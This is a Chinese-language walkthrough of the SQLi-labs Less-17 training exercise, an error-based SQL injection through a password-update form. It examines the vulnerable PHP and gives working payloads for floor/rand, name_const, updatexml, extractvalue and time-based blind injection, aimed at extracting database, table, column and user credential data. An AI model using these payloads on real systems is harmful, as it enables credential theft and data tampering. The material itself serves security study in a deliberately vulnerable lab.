基于错误_POST_更新查询注入
我讨厌这个错误回显。
这一关有很多不同的解法,我们将依次分析(这篇看上去会很长)。
这关模拟的场景是登录后在修改密码界面注入而并非登录时注入。
0x01. PHP代码分析
按往常思路第一步测试uname=1&passwd=1
时,没有登录失败信息,只返回了上述那张打脸的图。
紧接着尝试uname=1&passwd=1'
和uname=1&passwd=1"
,还是什么都没有发生。
这关的提示是更改密码,后台的Mysql语句应该涉及到update
,于是看源码:
$uname = check_input($_POST['uname']);
$passwd = $_POST['passwd'];
@$sql = "SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
$row1 = $row['username'];
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
if (mysql_error())
print_r(mysql_error());
echo '';
}
else
echo '';
【的Markdown实在是有点垃圾,昨晚发现不支持html的标签比如,
这PHP又高亮了个啥,去掉语言标记高亮多了】
从源码中可以看到:接收到用户POST的uname
和passwd
后,首先根据uname
查询数据库的username
和password
,若uname
存在则用passwd
替换password
,若不存在则显示slap1.jpg
。这就是为什么之前试的几条都被无情地打了回来。
在用户名正确后,页面便能够返回Mysql错误信息,这就可以利用子查询注入在错误信息中返回想要的数据。
注意:报错的语句是update
语句,查询用户名的语句已被执行并正确返回。
0x02. PHP语法
substr()函数
substr(string,start[,length])
参数 | 描述 |
---|---|
string | 必需,规定要返回其中一部分的字符串 |
start | 必需,规定在字符串的何处开始 |
正数:在字符串的指定位置开始 | |
负数:在从字符串结尾开始的指定位置开始 | |
0:在字符串中的第一个字符处开始 | |
length | 可选,要返回的字符数。如果省略,则返回剩余文本 |
正数:从start参数所在的位置返回的长度 | |
负数:从字符串末端返回的长度 |
get_magic_quotes_gpc()函数
get_magic_quotes_gpc()
函数取得PHP环境配置的变量magic_quotes_gpc(GPC, Get/Post/Cookie)
值。返回0
表示本功能关闭,返回1
表示本功能打开。
当magic_quotes_gpc
打开时,所有的'(单引号)
、"(双引号)
、\(反斜杠)
和NULL(空字符)
会自动转为含有反斜杠的溢出字符。
addslashes()与stripslashes()函数
addslashes(string)
函数返回在预定义字符之前添加反斜杠\
的字符串:
- 单引号
'
- 双引号
"
- 反斜杠
\
- 空字符
NULL
该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
注意:默认地,PHP对所有的GET、POST和COOKIE数据自动运行
addslashes()
。所以不应对已转义过的字符串使用addslashes()
,因为这样会导致双层转义。遇到这种情况时可以使用函数get_magic_quotes_gpc()
进行检测。
stripslashes(string)
函数删除由addslashes()
函数添加的反斜杠。
ctype_digit()函数
ctype_digit(string)
函数检查字符串中每个字符是否都是十进制数字,若是则返回TRUE
,否则返回FALSE
。
mysql_real_escape_string()函数
mysql_real_escape_string(string,connection)
参数 | 描述 |
---|---|
string | 必需,规定要转义的字符串 |
connection | 可选,规定MySQL连接。如果未规定,则使用上一个连接 |
mysql_real_escape_string()
函数转义 SQL 语句中使用的字符串中的特殊字符:
\x00
\n
\r
\
'
"
\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回FALSE
。
本函数将字符串中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于
mysql_query()
,可使用本函数来预防数据库攻击。
intval()函数
intval(var[,base])
参数 | 描述 |
---|---|
var | 要转换成integer的数量值 |
base | 转化所使用的进制 |
intval()
函数获取变量的整数值。通过使用指定的进制base
转换(默认是十进制),返回变量var
的integer
数值。intval()
不能用于object
,否则会产生E_NOTICE
错误并返回1
。
成功时返回var
的integer
值,失败时返回0
。空的array
返回0
,非空的array
返回1
,最大的值取决于操作系统。
如果
base
是0
,通过检测var
的格式来决定使用的进制:
- 如果字符串包括了
0x
或0X
的前缀,使用16进制hex
;否则,- 如果字符串以
0
开始,使用8进制octal
;否则,- 使用10进制
decimal
。
0x03. 参数检查与过滤
注意:在用uanme
查询之前,它用check_input()
函数做了检查。
function check_input($value)
{
if (!empty($value))
$value = substr($value,0,15);
if (get_magic_quotes_gpc())
$value = stripslashes($value);
if (!ctype_digit($value))
$value = "'".mysql_real_escape_string($value)."'";
else
$value = intval($value);
return $value;
}
1. 若uname
非空,截取它的前15个字符。
2. 若php环境变量magic_quotes_gpc
打开,去除转义的反斜杠\
。
3. 若uname
字符串非数字,将其中特殊字符转义;为数字则将其转为数字类型。
所以我们几乎不可能在uname
处注入,唯一的注入点在passwd
处。
0x04. <1>子查询注入
当在一个聚合函数如
count()
函数后面,如果使用分组语句如group by
就会把查询的一部分以错误的形式显示出来。
0x04-01. 选择哪种方式
子查询注入在Less5中即双注入,对于update
、delete
和insert
通常都用结合or
的逻辑判断。
在后台是
select
语句时我们能通过union
联合查询CONCAT子查询(即Less5使用的双注入)获得错误信息中的数据。
而这里的后台是update
(delete
/insert
)语句,我们只能通过or
逻辑判断派生表(在Less5中提到一句)来获得错误信息中的数据。
注意:上面这段是根据实际情况推断出的,但没有触及原理,也不完全正确。经过对比Less5的两种子查询和查找资料,得到了正确的结论。
使用CONCAT子查询时,错误信息提示子查询中应该只包含一个字段。
使用派生表时,错误信息能返回我们想要的数据。
在下一步之前,我们先理清子查询与派生表。
0x04-02. 子查询与派生表
子查询有两种:一是WHERE子句中的子查询;二是FROM子句中的子查询,这种子查询又被称为派生表。
- WHERE子句中:
SELECT column_name
FROM table_name
WHERE column_name IN (SELECT column_name
FROM table_name
WHERE condition)
- FROM子句中:
SELECT column_name
FROM (SELECT column_name
FROM table_name
WHERE condition) derived_table_name
WHERE condition
我们来看Less5中提到的两种报错方式,第一种是CONCAT子查询,第二种是派生表:
可以看出这两种实际上并无区别!
只是在Less5中select
查询返回的字段数为3,足够在column_list
中将count()
和concat()
都包含进去,所以用CONCAT子查询更简单。
而在Less17中update
查询返回的字段数只有1!不足以使count()
后接上concat()
这样一个查询语句,这时候就只能通过派生表再将上一层子查询包裹起来,通过select 1 from (报错的CONCAT子查询) derived_table_name
使注入查询的字段与update
查询的字段数相等!
(严格来说,这里已经不能叫双注入而是三注入了,都称为子查询注入)
所以,子查询注入重点在于控制子查询使涉及字段数相等。select
使用union
,update
/delete
/insert
使用or
。而CONCAT子查询或是派生表只是手段。
0x04-03. 派生表注入过程
步骤1:数据库名security
uname=admin&passwd=' or (select 1 from (select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a) b) where username='admin'--+
步骤2:表名users
uname=admin&passwd=' or (select 1 from (select count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2))as a from information_schema.tables group by a) b) where username='admin'--+
步骤3:字段名id
、username
、password
uname=admin&passwd=' or (select 1 from (select count(*),concat_ws('-',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),floor(rand()*2))as a from information_schema.tables group by a) b) where username='admin'--+
步骤4:数据
在注入数据时有个很有意思的现象。以前参考别人题解时都说:
因为这里只能查询一行,所以不能用
group_concat()
,可以修改limit
的范围来遍历用户信息。
也并未深究,但今天看语法是完全没问题的。前面的语句都是:
select group_concat(column_name) from table_name where condition
而想要将数据一次性显示出来这样的语句是等价的:
select group_concat(concat_ws('-',id,username,password)) from users
经过很多次测试,很多时候相同的POST返回的错误信息不同:
而尝试等价语句时几乎不能返回第二种错误信息,于是猜测:
子查询注入经PHP查询MySQL会有两种报错,根据报错的时间先后返回第一条错误信息。
还是老老实实用limit
依次得到数据好了:
uname=admin&passwd=' or (select 1 from (select count(*),concat_ws('-',(select concat_ws('-',id,username,password) from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a) b) where username='admin'--+
0x04-04. delete与insert后台
DELETE FROM users WHERE id=1 or (SELECT 1 FROM(SELECT count(*),concat((SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e) FROM information_schema.tables),floor(rand()*2))x FROM information_schema.tables group by x)a)%23;
INSERT INTO users (username, password) VALUES ('admin',' or (SELECT 1 FROM(SELECT count(*),concat((SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e) FROM information_schema.tables),floor(rand()*2))x FROM information_schema.tables group by x)a)%23);
0x05. <2>name_const()注入
name_const(name,value)
返回给定值,当用来产生一个结果集合列时,name_const()
促使该列使用给定名称。
使用范围受限,只适用于MySQL版本高于5.0.12
,但又稍旧的版本。不适用于现在的5.7
版本,会显示Incorrect arguments to NAME_CONST
。
获取数据库名:
' or (SELECT * FROM (SELECT name_const(database(),1),name_const(database(),1)) a) WHERE username='admin'--+
获取表名:
' or (SELECT * FROM (SELECT name_const((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'),1),name_const((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'),1)) a)--+
总的来说,对于update
、delete
和insert
都有一个固定的结构:
... or (select * from (select name_const((select ...),1),name_const((select ...),1)) a) ...
0x06. <3>updatexml()注入
0x06-01. updatexml()函数
updatexml(xml_target,xpath_expr,new_xml)
参数 | 描述 |
---|---|
xml_target | 目标xml,形式类似于节点目录 |
xpath_expr | xml的表达式(xpath格式) |
new_xml | 用来替换的xml |
updatexml()
函数是MySQL对xml文档数据进行查询和修改的xpath函数。
简单来说就是,用new_xml
把xml_target
中包含xpath_expr
的部分节点(包括xml_target
)替换掉。
如:updatexml(
,
运行结果:
,
其中'//b'
的斜杠表示不管b
节点在哪一层都替换掉,而'/b'
则是指在根目录下替换,此处xml_target
的根目录节点是a
。
0x06-02. 注入原理
updatexml()
的xml_target
和new_xml
参数随便设定一个数,这里主要是利用报错返回信息。利用updatexml()
获取数据的固定payload是:
... or updatexml(1,concat('#',(select * from (select ...) a)),0) ...
0x06-03. 注入过程
步骤1:数据库名security
uname=admin&passwd=' or updatexml(1,concat('#',(database())),0)--+
注意:因为xpath_expr
是xpath格式,所以不是所有字符都可以作为concat()
的连接符,如-
、@
便不可以。
步骤2:表名users
uname=admin&passwd=' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0)--+
注意:这里不要用concat_ws()
,会有未知错误使错误回显显示不全。
步骤3:字段名id
、username
、password
uname=admin&passwd=' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0)--+
步骤4:数据
uname=admin&passwd=' or updatexml(1,concat('#',(select concat(id,'#',username,'#',password) from users limit 0,1)),0)--+
结果报错:
不能先select
表中的某些值,再update
这个表(在同一语句中)。
解决方法:将select
出的结果作为派生表再select
一遍,这样就规避了错误。
注意:此问题只出现于MySQL,msSQL和Oracle不会出现此问题。
uname=admin&passwd=' or updatexml(1,concat('#',(select * from (select concat_ws('#',id,username,password) from users limit 0,1) a)),0)--+
注意:这里的错误信息只显示了一部分,所以没有一次性输出所有数据(可以做到),而使用limit
偏移注入。
0x07. <4>extractvalue()注入
extractvalue(xml,value)
extractvalue()
函数也是MySQL 5.1以后推出的对xml文档数据进行查询和修改的xpath函数。
extractvalue()
的xml
参数随便设定一个数。利用extractvalue()
获取数据的固定payload是:
... or extractvalue(1,concat('#',(select * from (select ....) a)))--+
注入过程同updatexml()注入。
0x08. <5>Time型盲注
这关不可以Bool盲注,因为只要用户名正确回显就是flag.jpg
。
而Time盲注不依赖回显,所以可以Time盲注(速度很慢就是了)。
url = "http://localhost:8088/sqlilabs/Less-17/"
"uname" : "admin"
"passwd" : "0' or "+sqli_str+"-- "
注意:脚本会将所有password
更新为0
。
0x09. 吐槽
终于写完了,3500字,断断续续写了三天多,写这篇简直是煎熬。